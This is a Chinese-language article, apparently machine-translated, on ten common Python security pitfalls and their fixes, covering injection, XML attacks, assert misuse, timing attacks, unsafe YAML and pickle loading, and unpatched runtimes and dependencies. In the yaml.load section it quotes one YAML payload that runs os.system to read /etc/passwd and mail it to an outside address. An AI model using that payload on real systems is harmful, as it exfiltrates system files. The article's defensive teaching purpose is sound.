前言
编写安全代码是一件很难的事情。Python也不例外,即使在标准库中,也有记录在案的编写应用程序的安全漏洞。下面是Python应用程序中最常见的10个安全陷阱以及相关解决办法。
Input injection
Injection攻击非常普遍,有很多种类型的注入。它们影响所有的语言、框架和环境。
SQL injection是指直接编写SQL查询,而不是使用ORM并将字符串和变量混合。我读过很多代码,其中“转义引号”被认为是一种修复方法。然而它不是。
命令injection是指任何时候你使用popen,子进程,os来调用一个进程。系统从变量中获取参数。当调用本地命令时,可能会有人将这些值设置为恶意的值。
如何修复:
如果您正在使用web框架,那么可以使用web框架附带的实用工具来清理输入。除非您有很好的理由,否则不要手工构造SQL查询。
对于shell,使用shlex模块正确地转义输入。
解析XML
如果您的应用程序曾经加载并解析过XML文件,那么您很可能正在使用XML标准库模块之一。通过XML有一些常见的攻击。大部分是Dos风格的(用来崩溃系统而不是过滤数据)。这些攻击很常见,尤其是在解析外部(即不受信任的)XML文件时。
其中一个被称为“十亿个laugh”,因为有效载荷通常包含大量(数十亿)“lols”。基本上,这个想法是您可以在XML中执行引用实体,因此当您的低调的XML解析器试图将这个XML文件加载到内存中时,它将消耗千兆字节的RAM。如果你不相信,那就试试吧:-)
另一种攻击使用外部实体扩展。XML支持从外部url引用实体,XML解析器通常会毫无顾虑地获取和加载该资源。“攻击者可以绕过防火墙,访问受限制的资源,因为所有的请求都是由内部可靠的IP地址发出的,而不是来自外部。”
另一种需要考虑的情况是依赖于解码XML的第三方包,比如配置文件和远程api。您甚至可能没有意识到,您的某个依赖项可能会受到这些类型的攻击。
解决办法:
使用defusedxml作为标准库模块的替代。它增加了针对这类攻击的安全防护。
Assert statements
不要使用断言语句来防止用户不应该访问的代码段。
举个简单的例子:
- def foo(request, user): assert user.is_admin, “user does not have access” # secure code...
在默认情况下,Python执行时使用的是_debug__作为true,但是在生产环境中,通常使用优化来运行。这将跳过assert语句,直接进入安全代码,而不管用户是否为is_admin。
解决办法:
仅使用assert语句与其他开发人员通信,如在单元测试中或在防止不正确的API使用中。
计时攻击
计时攻击本质上是一种通过计时比较所提供的值所花费的时间来暴露行为和算法的方法。定时攻击需要精确性,所以它们通常不能在高延迟的远程网络上工作。由于大多数web应用程序的延迟都是可变的,所以几乎不可能编写HTTP web服务器上的定时攻击。
但是,如果您有一个命令行应用程序提示输入密码,那么攻击者可以编写一个简单的脚本来计算将它们的值与实际的密码进行比较所需的时间。有一些令人印象深刻的例子,例如基于ssh的定时攻击是用Python编写的。
解决办法:
使用在Python 3.5中引入的secret .compare_digest来比较密码和其他私有值。
被污染的站点—包或导入路径
Python的导入系统非常灵活。当您试图为您的测试编写monkey-patch或重载核心功能时,这是非常棒的。
但是,这是Python中较大的安全漏洞之一。
在您的站点包中安装第三方包,无论是在虚拟环境中还是在全局站点包中(通常不建议这样做),都会暴露这些包中的安全漏洞。
曾经出现过这样的情况:发布到PyPi的包的名称与流行的包类似,但执行的是任意代码。幸运的是,并没有造成伤害。
另一种需要考虑的情况是依赖项的依赖项(等等)。它们可以包含漏洞,还可以通过导入系统覆盖Python中的默认行为。
解决办法:
审查你的包。看看PyUp。io和他们的安全服务。为所有应用程序使用虚拟环境,并确保全局站点包尽可能干净。检查包签名。
临时文件
要在Python中创建临时文件,通常需要使用mktemp()函数生成一个文件名,然后使用该名称创建一个文件。这是不安全的,因为在调用mktemp()和第一个进程随后尝试创建该文件之间的时间内,另一个进程可能会创建一个具有该名称的文件。这意味着它可能欺骗您的应用程序加载错误的数据或暴露其他临时数据。
如果调用了不正确的方法,Python的最新版本将发出运行时警告。
解决办法:
如果需要生成临时文件,请使用tempfile模块并使用mkstemp。
使用yaml.load
这个例子可以在流行的Python项目Ansible中找到:
https://talosintelligence.com/reports/TALOS-2017-0305
您可以提供Ansible Vault,该值作为(有效的)YAML。它使用文件中提供的参数调用os.system()。
- !!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]
因此,从用户提供的值有效地加载YAML文件会让您很容易受到攻击。
解决办法:
使用yaml.safe_load。
Pickles
反序列化pickle数据和YAML一样糟糕。Python类可以声明一个名为__reduce__的神奇方法,该方法返回一个字符串,或者一个元组,该元组具有可调用的参数,在pickle时调用这些参数。攻击者可以使用它来包含对其中一个子进程模块的引用,以便在主机上运行任意命令。
解决办法:
永远不要从不可信或未经身份验证的源解除数据pickle。而是使用另一种序列化模式,比如JSON。
使用系统Python运行时而不打补丁
大多数POSIX系统都附带了Python 2的一个版本。通常是旧的。因为“Python”,即CPython是用C写的,所以有时候Python解释器本身就有漏洞。C语言中常见的安全问题与内存分配有关,因此缓冲区溢出错误。
多年来,CPython有许多溢出或溢出漏洞,每一个都在后续的版本中得到了修补和修复。所以你是安全的。也就是说,如果你修补你的运行时。
解决办法:
为您的产品应用程序安装最新版本的Python,并对其进行修补!
没有修补您的依赖项
与不修补您的运行时类似,您还需要定期修补您的依赖项。我发现在包中“固定”来自PyPi的Python包版本的做法很可怕。这个想法是“这些是可行的版本”,所以每个人都不去管它。
当存在于应用程序使用的包中时,上述代码中的所有漏洞都同样重要。这些包的开发人员会修复安全问题。所有的时间。
解决办法:
使用PyUp这样的服务。io检查更新,提出拉/合并请求到您的应用程序,并运行您的测试,以保持包的最新。
使用InSpec之类的工具来验证在生产环境中安装的版本,并确保修补了最小版本或版本范围。